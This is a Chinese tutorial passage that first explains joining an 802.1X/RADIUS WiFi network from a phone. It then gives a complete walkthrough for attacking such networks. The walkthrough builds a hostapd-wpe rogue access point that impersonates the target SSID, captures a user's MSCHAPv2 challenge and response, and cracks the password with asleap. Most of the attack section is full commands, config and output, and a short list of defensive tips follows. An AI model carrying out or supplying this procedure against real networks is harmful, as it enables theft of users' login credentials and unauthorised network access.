通常情况下,用户会使用一些移动设备来连接WiFi网络。下面介绍如何在移动客户端下连接RADIUS加密的WiFi网络。这里以小米手机客户端为例,介绍连接WiFi网络的方法。具体操作步骤如下所述。
(1)在手机上打开设置界面,然后选择WLAN选项开启WLAN功能。当成功启动WLAN功能后,将显示如图21所示的界面。
图21 搜索到的无线网络
(2)在该界面可以看到,当前客户端已经成功连接到SSID为yzty的无线网络,并且可以看到搜索到的其他无线网络。在该界面可以看到Test无线网络的加密方式是通过802.1x进行保护。这说明,该无线网络的加密方式使用了RADIUS服务。这里选择Test网络,将打开如图22所示的界面。
图22 设置Test无线网络
(3)在该界面配置Test网络,如加密方法、身份验证方法,身份及用户密码等。该界面的所有配置信息是可以滑动的,所以,图22中只显示了部分信息。设置完加密方法和身份验证后,向下滑动,将看到如图23所示的界面。
图23 身份验证信息
(4)在该界面的“身份”对应的文本框中输入登录的用户名,在“密码”文本框中输入登录用户的密码,如图23所示。在该界面设置的信息和在Linux客户端连接该网络的配置类似。设置完后单击“连接”按钮,如果配置正确,则可成功连接到Test网络。
五、破解RADIUS加密的WiFi网络
在Linux下提供了一个hostapd工具,可以实现WiFi的无线接入热点(AP)功能。它是一个带加密功能的无线接入点程序,支持IEEE 802.11协议和IEEE 802.1X/WPA/WPA2/EAP/RADIUS加密。有开发者根据该软件,开发了一个名为hostapd-wpe的补丁。
使用该补丁后,就可以创建支持MSCHAPv2加密的伪AP。这样,渗透测试人员将会获取到无线网络的用户名和密码。当渗透测试人员获取到用户名和密码后,可以使用asleap工具将密码破解出来。下面介绍如何使用这种方法来破解RADIUS加密的WiFi网络。
1、使用hostapd-wpe创建伪AP
下面同样以Kali Linux操作系统为例,介绍使用hostapd-wpe创建伪AP,并实现WiFi网络的破解的方法。
破解RADIUS加密的WiFi网络。具体操作步骤如下所述。
(1)由于安装hostapd软件依赖libnl库,这里首先安装相关的库文件。执行命令如下所示。
root@localhost:~# apt-get install libssl-dev libnl-dev
执行以上命令后,如果没有报错,则表示以上软件包安装成功。
(2)下面获取hostapd软件的补丁包hostapd-wpe。执行命令如下所示。
root@localhost:~# git clone https://github.com/OpenSecurityResearch/hostapd-wpe
正克隆到 'hostapd-wpe'...
remote: Counting objects: 47, done.
remote: Total 47 (delta 0), reused 0 (delta 0)
Unpacking objects: 100% (47/47), done.
从以上输出信息可以看到,已成功获取到了补丁包hostapd-wpe。git工具默认将下载的文件保存在当前目录中。
(3)下载hostapd软件包。执行命令如下所示。
root@localhost:~# wget http://hostap.epitest.fi/releases/hostapd-2.2.tar.gz
--2018-12-22 19:14:54-- http://hostap.epitest.fi/releases/hostapd-2.2.tar.gz
正在解析主机 hostap.epitest.fi (hostap.epitest.fi)... 212.71.239.96
正在连接 hostap.epitest.fi (hostap.epitest.fi)|212.71.239.96|:80... 已连接。
已发出 HTTP 请求,正在等待回应... 301 Moved Permanently
位置:http://w1.fi/releases/hostapd-2.2.tar.gz [跟随至新的 URL]
--2018-12-22 19:14:56-- http://w1.fi/releases/hostapd-2.2.tar.gz
正在解析主机 w1.fi (w1.fi)... 212.71.239.96
再次使用存在的到 hostap.epitest.fi:80 的连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:1586482 (1.5M) [application/x-gzip]
正在保存至: “hostapd-2.2.tar.gz”
100%[=====================================================================
==============>] 1,586,482 107K/s 用时 12s
2018-12-22 19:15:09 (128 KB/s) - 已保存 “hostapd-2.2.tar.gz” [1586482/1586482])
以上输出信息显示了下载hostapd软件包的详细过程。从最后一行信息可以看出,下载的软件包已保存为hostapd-2.2.tar.gz,该软件包默认保存在当前目录中。接下来,就可以安装hostapd软件包了。
(4)解压hostapd软件包。执行命令如下所示。
root@localhost:~# tar zxvf hostapd-2.2.tar.gz
执行以上命令后,hostapd软件包中的所有文件将被解压到名为hostapd-2.2的文件中。接下来,就需要切换到该目录中进行hostapd软件包的安装。
(5)使用patch命令为hostapd软件包打补丁。其中,patch命令的语法格式如下所示。
patch [-R] {-p(n)} [--dry-run] < patch_file_name
以上语法中各参数含义如下所示。
● -R:卸载patch包。
● -p:为patch的缩写。
● n:指patch(补丁包)文件所在位置(patch)的第n条‘/’。
● --dry-run:尝试patch软件,并不真正修改软件。
● patch_file_name:指定补丁包的文件名。
本例中的补丁包保存在/root/hostapd-wpe中。这里指定的路径为-p1。执行命令如下所示。
root@localhost:~# cd hostapd-2.2/ #切换到解压出的文件中
root@localhost:~/hostapd-2.2# patch -p1 < ../hostapd-wpe/hostapd-wpe.patch #打补丁包
patching file hostapd/.config
patching file hostapd/config_file.c
patching file hostapd/hostapd-wpe.conf
patching file hostapd/hostapd-wpe.eap_user
patching file hostapd/main.c
patching file hostapd/Makefile
patching file src/ap/beacon.c
patching file src/ap/ieee802_11.c
patching file src/crypto/ms_funcs.c
patching file src/crypto/ms_funcs.h
patching file src/crypto/tls_openssl.c
patching file src/eap_server/eap_server.c
patching file src/eap_server/eap_server_mschapv2.c
patching file src/eap_server/eap_server_peap.c
patching file src/eap_server/eap_server_ttls.c
patching file src/Makefile
patching file src/utils/wpa_debug.c
patching file src/wpe/Makefile
patching file src/wpe/wpe.c
patching file src/wpe/wpe.h
以上输出的信息,显示了打补丁的所有文件。
(6)编译hostapd软件包。执行命令如下所示。
root@localhost:~/hostapd-2.2# cd hostapd/
root@localhost:~/hostapd-2.2/hostapd# make
执行以上命令后,将输出编译的所有文件信息。如果没有提示错误信息,则表示编译成功。
(7)有了hostapd工具做无线接入点,还需要创建一些证书。在该程序中提供了一个可执行脚本bootstrap,可以来创建证书。所以,运行该脚本即可创建需要的证书。执行命令如下所示。
root@localhost:~/hostapd-2.2/hostapd# cd ../../hostapd-wpe/certs/
root@localhost:~/hostapd-wpe/certs# ./bootstrap
执行以上命令后,将输出如下信息:
openssl dhparam -out dh 1024
Generating DH parameters, 1024 bit long safe prime, generator 2
This is going to take a long time
...............................+...+.....................................+...........+.............+.................................................
......................................+..............................................................................++*++*++*
openssl req -new -out server.csr -keyout server.key -config ./server.cnf
Generating a 2048 bit RSA private key
...+++
.....................+++
writing new private key to 'server.key'
-----
openssl req -new -x509 -keyout ca.key -out ca.pem \
-days `grep default_days ca.cnf | sed 's/.*=//;s/^ *//'` -config ./ca.cnf
Generating a 2048 bit RSA private key
................................................................................................................+++
....................................................................................+++
writing new private key to 'ca.key'
-----
openssl ca -batch -keyfile ca.key -cert ca.pem -in server.csr -key `grep output_password ca.cnf
sed 's/.*=//;s/^ *//'` -out server.crt -extensions xpserver_ext -extfile xpextensions -config ./server.cnf
Using configuration from ./server.cnf
Check that the request matches the signature
Signature ok
Certificate Details:
Serial Number: 1 (0x1)
Validity
Not Before: Dec 23 01:25:38 2014 GMT
Not After : Dec 23 01:25:38 2015 GMT
Subject:
countryName = FR
stateOrProvinceName = Radius
organizationName = Example Inc.
commonName = Example Server Certificate
emailAddress = admin@example.com
X509v3 extensions:
X509v3 Extended Key Usage:
TLS Web Server Authentication
Certificate is to be certified until Dec 23 01:25:38 2015 GMT (365 days)
Write out database with 1 new entries
Data Base Updated
openssl pkcs12 -export -in server.crt -inkey server.key -out server.p12 -passin pass:`grep
output_password server.cnf | sed 's/.*=//;s/^ *//'` -passout pass:`grep output_password server.cnf
sed 's/.*=//;s/^ *//'`
openssl pkcs12 -in server.p12 -out server.pem -passin pass:`grep output_password server.cnf
sed 's/.*=//;s/^ *//'` -passout pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'`
MAC verified OK
openssl verify -CAfile ca.pem server.pem
server.pem: OK
openssl x509 -inform PEM -outform DER -in ca.pem -out ca.der
以上输出的信息就是创建证书的过程。从以上信息中可以看到,已成功创建了ca.pem和server.pem证书。
(8)接下来,就可以启动hostapd程序了。但是,默认hostapd程序的主配置文件中监听的端口是有线接口eth0。由于本例使用的是无线接入点,因此还需要对接口、网卡接口模式和信道等进行设置。hostapd程序的中配置文件是hostapd-wpe.conf。在该配置文件中,包括很多个配置部分。本例中需要配置的信息如下所示。
root@localhost:~/hostapd-2.2/hostapd# vi hostapd-wpe.conf
# Configuration file for hostapd-wpe
#
# General Options - Likely to need to be changed if you're using this
# Interface - Probably wlan0 for 802.11, eth0 for wired
interface=wlan1 #指定无线网卡的接口,本例中是wlan1
# Driver - comment this out if 802.11
#driver=wired #使用“#”注释该选项
# 802.11 Options - Uncomment all if 802.11
ssid=hostapd-wpe #开启ssid选项
hw_mode=g #开启硬件模式选项,这里使用的是g模式。但某些网卡可能不支持该模式
channel=1 #开启信道选项
##### IEEE 802.11 related configuration #######################################
# SSID to be used in IEEE 802.11 management frames
ssid=Test #设置SSID的名称
(9)现在就可以运行hostapd程序了。执行命令如下所示。
root@localhost:~/hostapd-2.2/hostapd# ./hostapd-wpe hostapd-wpe.conf
Configuration file: hostapd-wpe.conf
Using interface wlan1 with hwaddr 00:c1:41:26:0e:f9 and ssid "Test"
wlan1: interface state UNINITIALIZED->ENABLED
wlan1: AP-ENABLED
从以上输出信息中可以看到,已成功启动了接口wlan1,并且使用的SSID名称为Test。此时,当有客户端连接该网络时,将会捕获到其用户名和密码等信息。如下所示。
root@localhost:~/hostapd-2.2/hostapd# ./hostapd-wpe hostapd-wpe.conf
Configuration file: hostapd-wpe.conf
Using interface wlan1 with hwaddr 00:c1:41:26:0e:f9 and ssid "Test"
wlan1: interface state UNINITIALIZED->ENABLED
wlan1: AP-ENABLED
wlan1: STA 14:f6:5a:ce:ee:2a IEEE 802.11: authenticated
wlan1: STA 14:f6:5a:ce:ee:2a IEEE 802.11: associated (aid 1)
wlan1: CTRL-EVENT-EAP-STARTED 14:f6:5a:ce:ee:2a
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
mschapv2: Tue Dec 23 09:29:29 2014
username: bob
challenge: 7e:6b:5d:04:eb:73:c4:a6
response: 93:0d:4c:22:37:f9:f3:98:8e:4b:cb:e8:09:fa:16:9b:0f:1f:27:d0:f4:14:84:c2
jtr NETNTLM: bob:$NETNTLM$7e6b5d04eb73c4a6$930d4c2237f9f3988e4bcbe809fa169
b0f1f27d0f41484c2
从以上输出信息中可以看到,Mac地址为14:f6:5a:ce:ee:2a的客户端连接了Test无线网络。并且可以看到,连接该无线网络时,使用的用户名为bob,但密码处于加密状态。成功执行以上命令后,将会在运行以上命令的hostapd目录下生成一个名为hostapd-wpe.log的日志文件。在该文件中将记录认证的信息,如下所示。
root@localhost:~/hostapd-2.2/hostapd# cat hostapd-wpe.log
mschapv2: Tue Dec 23 09:29:29 2014
username: bob
challenge: 7e:6b:5d:04:eb:73:c4:a6
response: 93:0d:4c:22:37:f9:f3:98:8e:4b:cb:e8:09:fa:16:9b:0f:1f:27:d0:f4:14:84:c2
jtr NETNTLM: bob:$NETNTLM$7e6b5d04eb73c4a6$930d4c2237f9f3988e4bcbe809fa169
b0f1f27d0f41484c2
以上就是记录的日志信息。注意,如果要查看该日志文件中的信息,需要停止./hostapd- wpe程序才可以。
2、Kali Linux的问题处理
以上是hostapd正常启动后出现的信息。但是,由于Kali Linux操作系统使用的是Network Manager管理网络接口,会影响无线网络接口的运行,在启动时将会出现以下提示信息:
root@localhost:~/hostapd-2.2/hostapd# ./hostapd-wpe hostapd-wpe.conf
Configuration file: hostapd-wpe.conf
nl80211: Could not configure driver mode
nl80211 driver initialization failed.
hostapd_free_hapd_data: Interface wlan1 wasn't started
从以上输出的信息中可以看到配置驱动模式,并且驱动初始化失败。出现这种情况时,需要将Network Manager关闭,然后使用ifconfig命令启动网络接口。具体实现方法如下所示。
root@localhost:~/hostapd-2.2/hostapd# nmcli nm wifi off #关闭WiFi接口
root@localhost:~/hostapd-2.2/hostapd# rfkill unblock wlan #开启wlan
root@localhost:~/hostapd-2.2/hostapd# ifconfig wlan1 192.168.3.1/24 up #开启当前系统的无线接口
root@localhost:~/hostapd-2.2/hostapd# sleep 1 #设置1秒的延迟
执行以上操作后,即可成功启动hostapd程序。
3、使用asleap破解密码
通过前面的操作,用户可以成功获取登录无线网络的用户名、挑战码、响应码等信息。此时,用户可以使用asleap工具通过指定挑战码和响应码来破解用户的密码。下面介绍使用asleap工具破解密码。
asleap命令的语法格式如下所示。
asleap [选项]
以上命令常用选项含义如下所示。
● -r:读取来自一个libpcap文件的信息。
● -i:指定捕获接口。
● -f:使用NT-Hash字典文件。
● -n:使用NT-Hash索引文件。
● -s:跳过检查来通过认证。
● -h:显示帮助信息。
● -v:显示详细的输出信息。
● -V:显示程序的版本信息。
● -C:指定挑战码的值。
● -R:指定响应码的值。
● -W:指定ASCII密码字典文件。
使用asleap破解以上bob用户的密码。执行命令如下所示。
root@localhost:~# asleap -C 7e:6b:5d:04:eb:73:c4:a6 -R 93:0d:4c:22:37:f9:f3:98:8e:4b:cb:e8:
09:fa:16:9b:0f:1f:27:d0:f4:14:84:c2 -W list
asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
Using wordlist mode with "list".
hash bytes: 507e
NT hash: fcfc9a2a1e3f4f9f5e1eba9a4592507e
password: passbob
从以上输出信息中可以看到,bob用户的密码为passbob,hash大小为507e。以上命令中-C指定的是bob用户的挑战码,-R指定的是响应码,-W选项指定的是密码字典文件。
六、WPA+RADIUS的安全措施
根据前面的介绍,可以发现WPA+RADIUS的无线网络也很容易被破解出。为了使自己的网络更安全,需要采取一些其他防护措施并增加防范意识。下面介绍几个应对WPA+RADIUS的安全措施。
(1)更改无线路由器默认设置。
(2)禁止SSID广播。
(3)设置Mac地址过滤。
(4)关闭WPA/QSS。
(5)物理的保护网络。
(6)如果所处的网络环境比较稳定的话,可以将路由器的DHCP功能关闭,使用静态IP。
(7)设置比较长的、复杂的密码。
微信公众号:计算机与网络安全
ID:Computer-network